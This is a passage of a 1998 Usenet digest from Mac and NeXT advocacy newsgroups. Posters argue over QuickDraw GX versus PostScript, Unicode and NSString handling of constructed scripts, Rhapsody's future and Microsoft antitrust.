concept of a criminal justice system, complete with "gaols" and public
executions, is relatively recent.
The Jewish justice system *did* allow for public capital punishment of
certain crimes, including blasphemy, patricide/matricide, and sexual
immorality. Most other crimes were based strictly on a system of
restitutionary justice.
MJP
From: dfevans@bbcr.uwaterloo.ca (David Evans)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Reverse Technology
Date: 12 Jun 1998 18:49:10 GMT
Organization: University of Waterloo
Message-ID: <897677346.228195@globe.uwaterloo.ca>
References: <357C11AF.D1BF8149@technologist.com> <357FA2ED.FC1EF0C9@alum.mit.edu> <SCOTT.98Jun11091928@slave.doubleu.com> <6lpm6j$2f1$1@news.xmission.com>
Cache-Post-Path: globe.uwaterloo.ca!unknown@bcr11.uwaterloo.ca
In article <6lpm6j$2f1$1@news.xmission.com>,
Don Yacktman <don@misckit.com> wrote:
>2. A yacc-like program that could, given a DTD, generate a command line tool
>to translate PLs into XML and vice versa. This wouldn't be easy to write,
>but I believe that it could be done.
I don't think that this would be as bad as you say. The University of
Alberta has developed a suite of tools to automatically construct OO database
schemae from SGML DTDs. It's a starting point...
--
David Evans (NeXTMail/MIME OK) dfevans@bbcr.uwaterloo.ca
Computer/Synth Junkie http://bbcr.uwaterloo.ca/~dfevans/
University of Waterloo "Default is the value selected by the composer
Ontario, Canada overridden by your command." - Roland TR-707 Manual
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 12 Jun 1998 13:19:38 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6lr9ta$5m0$1@ns3.vrx.net>
References: <slrn6o0ed9.kcg.sal@panix3.panix.com> <B1A69C00-30576@206.165.43.126>
Mime-Version: 1.0
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Cc: english@primenet.com
In <B1A69C00-30576@206.165.43.126> "Lawson English" claimed:
> OK, how does it handle the "Cherokee Nation Font" problem?
OpenStep? Trivially.
> Mock it as you will. It was meant to humorously show that Unicode isn't
> extensible.
Duh, that's because it's Unicode.
> If a scholar wants to create a font using some ancient race's
> writing system, GX will allow him to create a GX font specific to his needs
> and handle its display gracefully,
As will OpenStep.
> tables and will be used intelligently by GX. ATSUI may or may not be able
> to do this, but the fact that it is being billed as "Unicode" suggests that
> any writing system that isn't Unicode-compatible will have problems.
I doubt it.
> Certainly, the NS string class that is supposed to return the unicode
> encoding will have problems because the encoding simply won't exist.
Uhhh, right.
> My example was the Cherokee (they're the one's with their own writing
> system, right?) writing system. Does Unicode recognize them?
Who cares? Again clear evidence you have no idea whatsoever how this is
SUPPOSED to work under OpenStep.
> There ARE reasons why Unicode isn't the best possible solution, excluding
> the Unified Han problem
Oh, do you mean the unified Hangul problem?
> Dave Opstad once asserted that whatever solution
> the Asian nations come up with for the Unified Han Problem should work just
> fine within GX since it was designed to be extensible in that regard
> (identification of languages and writing systems). How extensible is the
> encoding of ATSUI? The NS text/string classes? Unicode 2.0?
Perfectly.
Maury
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Fri, 12 Jun 1998 13:22:55 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1206981322550001@dante.eng.uci.edu>
References: <tbrown-1206980253330001@mv128.axom.com> <B1A69F6D-3D38C@206.165.43.126>
In article <B1A69F6D-3D38C@206.165.43.126>, "Lawson English"
<english@primenet.com> wrote:
>And the current implementation in MacOS 8, which is backwards compatible
>with System 7.x, doesn't prevent any application from printing, and you
>only need muck with PS fonts if you want to use them (in which case, you'll
>need to buy ATM Delux and install Acrobat AFTER GXInit).
Too late. It's dead. Let's move on.
GX today is like finding an old childhood toy that you thought was lost.
You felt sad the whole time is was gone, as if you had missed out on
something, but upon finding it realize that it is a stupid, uninteresting
toy by today's standards and you immediate throw it in the trash. The
feeling of sadness fades quickly.
-Bob Cassidy
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 12 Jun 1998 17:58:47 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6o2r2n.sd3.sal@panix3.panix.com>
References: <slrn6o0ddh.kcg.sal@panix3.panix.com> <B1A69901-2513B@206.165.43.126>
On 12 Jun 1998 08:37:01 -0700, Lawson English <english@primenet.com> wrote:
>Salvatore Denaro <sal@panix3.panix.com> said:
>>I don't know. You've sold me on GX for all my plotter needs. Can you
>forward
>>me a list of GX printers? GX plotters?
>
>Any PS printer that can be controlled by Apple's generic PostScript driver
>for System 7.x with GX printing installed.
Why should I use GX to print to PS? Why not just use PS to print to PS?
> I don't know which plotters have
>GX drivers, but the API exists and I'm pretty sure that some plotter
>drivers WERE written to use it.
I'm sure that there were PS plotter drivers written.
This did not answer my question. Please list *any* GX printer or GX plotter.
--
sal@panix.com
Salvatore Denaro
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Skip NT 5.0
Date: Fri, 12 Jun 1998 13:44:36 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6ls44h$r6d@yobi.sierra.com>
References: <6lk75t$afl@newsb.netnews.att.com> <01bd9419$a1ba5b40$100ba8c0@voodoo2> <35805AFF.A4CC45D2@wildfire.com> <01bd95d2$5c306c30$100ba8c0@voodoo2> <35814A6E.5ACAD078@wildfire.com>
Tony Lovell wrote in message <35814A6E.5ACAD078@wildfire.com>...
>Earl Malmrose wrote:
>>
>> Tony Lovell <tone@wildfire.com> wrote in article
>> <35805AFF.A4CC45D2@wildfire.com>...
>> > 25 million new lines of code... You're saying it might just work?!
>> >
>> > I'd say GigaWorld is hardly going out on a limb here. They could be a
>> > bakery and I'd grant their concern some creedence.
>>
>> Well, I question where the 85% new comments, but that's beside my point:
>>
>> I've had Beta 1 for a while now. I just expect a decent research company
to
>> do more than just expect something. Go try it! Make a real, informed,
>> researched evaluation.
>
>No time or machine. Plus, even when NT works perfectly, it is ... NT.
>:) I'm just playing devil's advocate and defending a criticism that has
>a plausible basis.
Duh, you're not "one of the most respected IT research firms in the world".
If this GigaWorld is anybody, then I expect them to do some real research.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 12 Jun 1998 18:09:20 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6o2rmg.sd3.sal@panix3.panix.com>
References: <slrn6o0ed9.kcg.sal@panix3.panix.com> <B1A69C00-30576@206.165.43.126>
On 12 Jun 1998 08:49:00 -0700, Lawson English <english@primenet.com> wrote:
>Certainly, the NS string class that is supposed to return the unicode
>encoding will have problems because the encoding simply won't exist.
...so NSString will have to be updated. After it is, all apps that use
NSString will be able to handle Klingon.
>(identification of languages and writing systems). How extensible is the
>encoding of ATSUI?
Don't know; but, I'm sure someone has answered that in the 18 months you've
been talking about GX.
>The NS text/string classes?
Very. I've been using YB for less time than you've been morning the death of
GX, and I am pretty sure I could write a NSKlingonString if I needed to. And
it would be trivial to modify my Apps for the growing Kilngon text processing
market.
>Unicode 2.0?
Don't know; but, I'm sure someone has answered that in the 18 months you've
been talking about GX.
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 12 Jun 1998 18:13:25 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6o2ru5.sd3.sal@panix3.panix.com>
References: <slrn6o0dah.kcg.sal@panix3.panix.com> <B1A69871-22F35@206.165.43.126>
On 12 Jun 1998 08:34:01 -0700, Lawson English <english@primenet.com> wrote:
>><point>
>>>>A whole year has gone by and you are still wasting your time on this.
>></point>
>>Is it clear now?
>
>Nope.
If you talk about GX for another year, GX will still be dead. If you go
on for five years, GX will still be dead. If your dieing words are "GX"
GX will still be dead.
Some of GX is being moved into Rhapsody/MacOSX; but, as a distict API
set, GX is dead. It is deader than disco, since disco has made a come
back in recent years.
--
sal@panix.com
Salvatore Denaro
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Fri, 12 Jun 1998 11:49:05 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6lrm98$i5u1@odie.mcleod.net>
References: <slrn6o0ed9.kcg.sal@panix3.panix.com> <B1A69C00-30576@206.165.43.126>
Lawson English wrote in message ...
>(identification of languages and writing systems). How extensible is the
>encoding of ATSUI? The NS text/string classes? Unicode 2.0?
>
NSString allows any character encoding you want. You can even subclass
NSCharacterSet and all other classes involved if you want. How exactly do
you subclass a GX object ?
The issue here is that NSString is required by spec to return a Unicode
string encoding if requested. That does not mean it has to use Unicode
internally. That does not mean it can not return non-Unicode encoding. If
there is no good Unicode encoding, I suppose the NSString could just return
nil and still satisfy the spec. Try reading the documentation and or using
the classes before posting drivel. Oh I forgot, we have been saying that to
you for 18 months now.
By the way, AppKit and FoundationKit solve a lot more localization issues
than just string encoding and glyph rendering. Would you rather give those
up ? GX is and has been a gross hack with no acceptable integration into
the rest of the development environment. I would think ubiquitous Unicode
NSStrings would be more valuable than spotty access to GX even if NSString
could not handle Hopi (sp ?).
How is the rest of your application going to handle your non-standard string
encoding outside of the GX sub-system or do you only use GX with no other
code ? How would you spell check that GX string ? In Openstep, NSString is
a first class object that is used/available anywhere in you code; that is
extremely powerful.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 12 Jun 1998 11:38:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A6C370-44BA7@206.165.43.8>
References: <6lrm98$i5u1@odie.mcleod.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Michelle L. Buck <buck.erik@mcleod.net> said:
>
>Lawson English wrote in message ...
>>(identification of languages and writing systems). How extensible is the
>>encoding of ATSUI? The NS text/string classes? Unicode 2.0?
>>
>
>
>NSString allows any character encoding you want. You can even subclass
>NSCharacterSet and all other classes involved if you want. How exactly do
>you subclass a GX object ?
You don't, unfortunately. That wasn't my point. My point, which has been
invalidated -Klingon IS [sorta] part of Unicode 2.0- see
<http://www.indigo.ie/egt/standards/csur/klingon.html>
was about using Unicode as the sole way of handling language
identification. Unicode 2.0 handles artificial/constructed languages via
the Unicode Private Use space. Other encodings are also reserved for
expansion.
>
>The issue here is that NSString is required by spec to return a Unicode
>string encoding if requested. That does not mean it has to use Unicode
>internally. That does not mean it can not return non-Unicode encoding.
If
>there is no good Unicode encoding, I suppose the NSString could just
return
>nil and still satisfy the spec. Try reading the documentation and or
using
>the classes before posting drivel. Oh I forgot, we have been saying that
to
>you for 18 months now.
>
>By the way, AppKit and FoundationKit solve a lot more localization issues
>than just string encoding and glyph rendering. Would you rather give
those
>up ? GX is and has been a gross hack with no acceptable integration into
>the rest of the development environment. I would think ubiquitous Unicode
>NSStrings would be more valuable than spotty access to GX even if NSString
>could not handle Hopi (sp ?).
My point was about non-standard encodings, which GX could handle via
language/script escape codes and which Unicode 2.0 handles via reserved
encoding spaces.
Rather than flaming me, someone (Alan Anderson) kindly sent me pointers to
various web-pages about Klingon and Unicode 2.0. Here is the relevant
paragraph that renders the discussion moot, I think:
From <http://www.indigo.ie/egt/standards/csur/index.html>
"A range of 6400 characters has been reserved for "private use"; these
codes will never be given standard values, and can be used by anyone for
any purpose. In addition, 131,072 additional codes outside the 16-bit
codespace, and encoded with two consecutive 16-bit codes (from a reserved
area) are also available for private use. Between these two areas, there
are more than enough character slots (called codepoints) available for all
the constructed scripts ever thought of, without stepping on each others'
toes. In the almost inconceivable case that these two areas get full, full
ISO 10646 reserves some more private-use space at 00E00000-00FFFFFF
(2,097,151 codepoints) and at 60000000-7FFFFFFF (536,870,911 codepoints)."
>
>How is the rest of your application going to handle your non-standard
string
>encoding outside of the GX sub-system or do you only use GX with no other
>code ? How would you spell check that GX string ? In Openstep, NSString
is
>a first class object that is used/available anywhere in you code; that is
>extremely powerful.
Yes it is. Never said differently. I was referring to non-standard
encodings and how GX handles them. Unicode 2.0 handles them well so
NSString should also.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 12 Jun 1998 11:59:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A6C85C-573CB@206.165.43.8>
References: <slrn6o2r2n.sd3.sal@panix3.panix.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Salvatore Denaro <sal@panix3.panix.com> said:
>>Any PS printer that can be controlled by Apple's generic PostScript
driver
>>for System 7.x with GX printing installed.
>
>Why should I use GX to print to PS? Why not just use PS to print to PS?
>
In which OS? Rhapsody or MacOS X?
A GX-like retained-mode graphics library can be created for YB/Carbon. I'd
like to see it use at least a 3x3 transform matrix. Mike has hinted at a
4x3 matrix for such a beast. Obviously, since PD only supports a 3x2
matrix, anything produced by Mike's upcoming, hypothetical 2D-3D hybrid
library isn't going to be 1:1 with PS anyway, so what is your point?
>> I don't know which plotters have
>>GX drivers, but the API exists and I'm pretty sure that some plotter
>>drivers WERE written to use it.
>
>I'm sure that there were PS plotter drivers written.
>
So I have heard. I was talking about ease/fidelity of translation. PS =>
plotter isn't going to retain as much info as GX=>plotter. The GX pen
plotter driver supports the concept of approximating transparent color.
Betcha the PS driver for pen plotters doesn't.
>This did not answer my question. Please list *any* GX printer or GX
plotter.
None, as you well know.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: walke751@NOSPAM.concentric.net (Daryle Walker)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Java Java Java (was Re: So THAT is the OS stratetgy?)
Date: 12 Jun 1998 15:04:04 EDT
Organization: IBM Global Services
Message-ID: <walke751-1206981503110001@ts004d19.nor-ct.concentric.net>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <rmcassid-0906981239540001@dante.eng.uci.edu> <slrn6nrbv9.1po.sal@panix3.panix.com> <rmcassid-0906981511310001@dante.eng.uci.edu> <slrn6ns2jt.qvl.sal@panix3.panix.com> <rmcassid-1006980015520001@dialin9155.slip.uci.edu> <*johnnyc*-1006980924480001@mac49-38.psychology.dal.ca> <SCOTT.98Jun10093531@slave.doubleu.com> <35805722.853FAC1E@wildfire.com>
In article <35805722.853FAC1E@wildfire.com>, Tony Lovell
<tone@wildfire.com> wrote:
:I'll hijack your meaning here and say that adding a battery to a VCR
:would be dumb. Adding a means to take a global time reading off the
:blanking interval in a broadcast video signal is a much better solution!
:
:It would be the one clock in your life that was correct (for most of
:us).
It already exists. Some VCRs (connected to cable (?)) can get a special
signal that all PBS stations broadcast that will give the VCR the correct
time. If you have more than one PBS channel accessible on your cable, you
have to make sure the VCR picks the right channel, otherwise it could pick
up a channel far away to be in another time zone. Both the new S-VHS VCR
I got for my mom and the el cheapo VCR/TV combo I got for myself have this
feature.
Daryle Walker
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New Popular Science
Message-ID: <1998061220000200.QAA28284@ladder01.news.aol.com>
Date: 12 Jun 1998 20:00:02 GMT
Organization: AOL http://www.aol.com
References: <SKbg1.34250$BE5.5654592@news.rdc1.nj.home.com>
Even if a CD-ROM could be mounted in a NeXT CD-ROM case, why bother? It's not
like the case wins any awards for beauty or style.
Far better to get a better looking case which can be painted, or comes black.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Huh?
Date: Fri, 12 Jun 1998 15:23:35 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35818E47.A088B2E5@milestonerdl.com>
References: <357FE4E3.BB690EE8@bcomp.com> <6lor77$guc$1@crib.corepower.com> <6lpgek$l79@nntp02.primenet.com> <6lpq3f$j3o$1@crib.corepower.com> <358136AC.C4DA11CC@bcomp.com>
Mime-Version: 1.0
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Alan Frabutt wrote:
> I'm probably sounding hysterical, but I can't imagine Apple succeeding
> without a server OS strategy.
Or how about shooting themselves in the feet with the general level of
inept marketing/business planning?
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 12 Jun 1998 09:27:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A6A4C9-515EF@206.165.43.126>
References: <6lrj38$858$1@news.cs.tu-berlin.de>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Marcel Weiher <marcel@cs.tu-berlin.de> said:
>You are completely missing the point. How many GX printers are there?
>
>That means, a printer that understands GX.
You're missing the point. GX is an intermediate graphics format designed to
be easy to edit and translate into other formats suitable for printing or
display. Due to the nature of quadratic and cubic Bezier curves, the
translation between GX's format and PS can be mathematically exact. The
non-standard transfer modes of GX can be translated into equivalent PS
composite modes during the translation process by determing the
intersection of the overlapping non-standard shapes and converting them
into opaque PS shapes.
GX printing incorporated a plotter driver API to facilitate the use of GX
with Pen Plotters. GX rasterizes at any printer resolution just fine. It is
FAR more versatile than DPS/PS and appears to be better designed than what
has been announced with PDF (although a private GX-like object database
could be used within the PDF file format).
In other words, there are NO printers that "understand GX." This makes it
superior to DPS/PS because it isn't locked into a single archtecture. The
flip-side, which you will no doubt gloat about, is that this makes it
"non-standard," but using "lowest common denominator" standards have never
appealed to Mac users OR developers.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: dnpibel <dnpibel@prodigy.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 12 Jun 1998 10:23:35 -0700
Organization: Utter dis
Message-ID: <35816417.474E@prodigy.net>
References: <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <petrichEuC1E2.E5u@netcom.com> <357E9D78.A8BFC8F6@nstar.net> <357F4DC7.1FE1@prodigy.net> <3581509E.64C43F79@nstar.net>
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Michael J. Peck wrote:
> dnpibel wrote:
> > Michael J. Peck wrote:
> > You say this happened on earth? In this timeline?
> > I hate to sound like Roger, but could you fill me in just a tiny tad on
> > your source for this information?
> > > Actually, it's very disgusting that you should say this, because it
> > > demonstrates how little you actually understand about law, historically.
> > > Under Common Law in England (and found elsewhere during specific periods
> > > of history, such as the "Wild" West in America), the protection of the
> > > law had absolutely nothing to do with what we now call "law
> > > enforcement".
> > (snip of beautiful story about the olden days before jail, &c.; Mr. Peck
> > knows the story -- just wanted to leave enough for him to identify)
(snip of Mr. Peck's response, being a quotation from _The Iliad_
describing a scene in which a tribunal is deciding who gets a pile of
gold)
I guess I should have been a bit more specific. I'm not aware that the
ancient Greeks were governed by English common law, and I'm pretty sure
that they didn't live in the American wild west.
You posited some long trail of historical precedent, along with English
common law and the American wild west experience for the proposition
that in truly civilized societies, the common practice was something
akin to Mennonite shunning, with a garnish of open season on the bad
guys. A quote from the Iliad is mighty slim support for that.
I'm done with this discussion, lest people begin asking the rather
obvious question: wtf does this have to do with Micros**t, computers, or
the real world?
Doug
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 12 Jun 1998 09:04:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A69F6D-3D38C@206.165.43.126>
References: <tbrown-1206980253330001@mv128.axom.com>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
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In article <rmcassid-1106982323060001@dialin9229.slip.uci.edu>,
rmcassid@uci.edu (Robert Cassidy) wrote:
>
>>> markeaton@mindspring.canned-meat-filter.com (Mark Eaton) wrote:
>
>>> Actually, GX didn't suck, it was quite cool. Its downfall was that it
>>> didn't meet any great market demands. Carbon does.
>>
>>And it's implementation *did* suck. The idea was killer. But an advanced
>>printing and typographic architecture that prevented you from printing
>>from either XPress or Pagemaker because it screwed all the print drivers
>>was *not* going to succeed. And it screwed all of the fonts as well.
Those
>>two blunders alone were enough to kill it.
And the current implementation in MacOS 8, which is backwards compatible
with System 7.x, doesn't prevent any application from printing, and you
only need muck with PS fonts if you want to use them (in which case, you'll
need to buy ATM Delux and install Acrobat AFTER GXInit).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Fri, 12 Jun 1998 12:08:55 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6lrnee$i5u2@odie.mcleod.net>
References: <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <tbrown-0806982356060001@mv172.axom.com> <rmcassid-0906980011280001@dialin33413.slip.uci.edu> <TP5f1.12155$Kx3.12551461@news.rdc1.sdca.home.com> <tbrown-0906981819170001@mv085.axom.com> <6lp2q3$cvi$2@news02.btx.dtag.de> <tbrown-1106981928040001@mv099.axom.com> <markeaton-1106982022300001@user-38ld67p.dialup.mindspring.com> <rmcassid-1106982323060001@dialin9229.slip.uci.edu> <tbrown-1206980253330001@mv128.axom.com>
Ted Brown wrote in message ...
>
>And with a Yellow Finder, when QDe gets 3x3 perspective text, it'll be
>supported in all Fileviews, as all Text is displayed by NSTEXT! With
>Carbon, it won't come out till the release after (if then) as it'll have
>to support the new API directly.
>
>And, once QTML is fully integrated with Yellow, all NSImages will be able
>to display 3DMF and vector based images. This means a simple change could
>give the Finder 3D or resolution independent icons! Then someone will
>write the bundle that moves the shadow on the deskop based upon time of
>day (I'll be waiting to see if it supports lunar radiation as well, a nice
>soft light for Full Moons)!
>
>Woo Woo!!!
>
There may be some confusion because finder means different things to
different people, but the examples given for automatically enhanced finders
are not the point.
A YellowBox finer would enable any text anywhere to be spell checked with
your favorite checker. Why don't people see the awesome power of ubiquitous
objects ?
Between NeXTstep 1.0 and NeXtstep 2.0, the NSPrintPanel and NSView classes
were enhanced to support Postscript faxing. Anything you could see on
screen (including a screen dump) could be faxed. The really cool part is
that applications did not even have to be recompiled to get the feature.
When the user upgraded her system, all the old apps gained new capabilities.
Having a uniform imaging model, a uniform ubiquitous text capabilities, a
uniform inter-application messaging system, etc provides an environment that
is greater than the sum of its parts. I seldom see a Windows or Mac user
using more than one Application at a time. How limiting that must be!
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 12 Jun 1998 17:15:40 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6lrnns$as$1@new-news.cc.brandeis.edu>
References: <vik-0806981034470001@p20.hwts04.loop.net> <35814056.4A73EAFA@milestonerdl.com>
In article <35814056.4A73EAFA@milestonerdl.com> m rassbach <mark@milestonerdl.com> writes:
>
>
>Vik Rubenfeld wrote:
>
>> What do you guys make of this article at:
>>
>> <http://www.zdnet.com/macweek/1222/nw_rhapsody.html>
>>
>> > Bereskin stressed, however, that the end of the strategy isn't the
>> > extinction of Rhapsody. The OS will live on as a product but won't
>> > evolve past the first customer releases for Intel-standard and PowerPC
>> > platforms due this fall.
>> >
>> >After Version 1.0, "There are no plans for releases of Rhapsody,"
>> Bereskin said.
>>
>> I had been very interested in doing a Rhapsody application
>
>Look at it this way, with no new versions of the OS, Apple can never break
>your program.
>
>> that could be
>> recompiled for cross-platform release on both Mac and Windows. This
>> article seems to indicate that using the Rhapsody API's for such releases
>> won't be possible, since Rhapsody will not be maintained.
>
>Rhapsody as a product line (announced at WWDC 1997 killed WWDC 1998) is
>dead. Your desire to have a Mac/Windows product still seems to be an option
>for you, as long as you trust that Apple won't kill the Windows version, or
>kill both by making Carbon cross platform.
>
>Ya gotta ask yourself.....do you feel lucky?
Ya gotta ask yourself.....who is head of Apple Software Engineering?
--
Nathan Raymond
http://www.everythingmac.com
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 12 Jun 1998 15:00:42 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1206981500420001@dante.eng.uci.edu>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net> <rmcassid-1206980004350001@dialin9229.slip.uci.edu> <6lquft$1dmi@yuma.ACNS.ColoState.EDU>
In article <6lquft$1dmi@yuma.ACNS.ColoState.EDU>,
pyeatt@satchmo.cs.colostate.edu ( Larry Pyeatt) wrote:
>In article <rmcassid-1206980004350001@dialin9229.slip.uci.edu>,
> rmcassid@uci.edu (Robert Cassidy) writes:
>> I agree with the 'bad laws weaken good laws' arguments, but a country
>> without anti-trust would be so fragile and oscillate so wildly that I
>> don't think many of us would enjoy it much.
>
>I had to think about this one for a minute. Thanks! It was the
>fragility and oscillation part that threw me. I think I see what
>you are saying. Please check my reasoning:
> Company A gets a monopoly in some area and kills all competition.
> The public is happy, but Company A keeps expanding until they
> control "too much," they have no competition to keep prices
> low, innovation stagnates, and their products become shoddy.
> The public realizes what has happenned and there is a huge backlash.
> Company A goes down and thousands are laid off.
> Since so much of the economy depends on Company A, the whole economy
> is in the toilet for a while.
> The economy recovers and Company B gets a monopoly.
> The cycle repeats.
> Now consider this is happening in several markets all the time.
>Is that anywhere near what you are thinking?
Yeah, but Mike is correct in that there is no real historical evidence to
point to aside from Standard Oil - no other company was nearly as
economically critical prior to anti-trust and no other company has been
allowed to enter that state since.
So, theoretically, that is what we are protecting but we have not one case
that demonstrates that the economy itself is at risk. Other things are,
however:
Standard Oil, because of it's position, really did shape an incredibly
large number of markets. It was SO that pushed the automobile so
decisively toward gasoline as its energy source rather than electricity or
a number of other options. Economically, you can't really argue that it
had any long or short term effect, but in terms of infrastructure needs,
pollution, and the long-term cost of automobiles to the consumer it
probably had a very profound effect. We *might* all be driving electric
cars that don't break in less than 20 years. We just don't know.
It's that same apparently overwhelming control over the entry point to the
internet that MS is building that makes people concerned that it won't
ultimately dictate, almost single-handedly, how the internet is
constructed and delivered to the public. That mimics, reasonably closely,
the effect that SO had over the evolution of the automobile. For 90 years
or so, we've been at the mercy of a standard so widespread that we really
have no model of how to overcome it given a free market. Only by
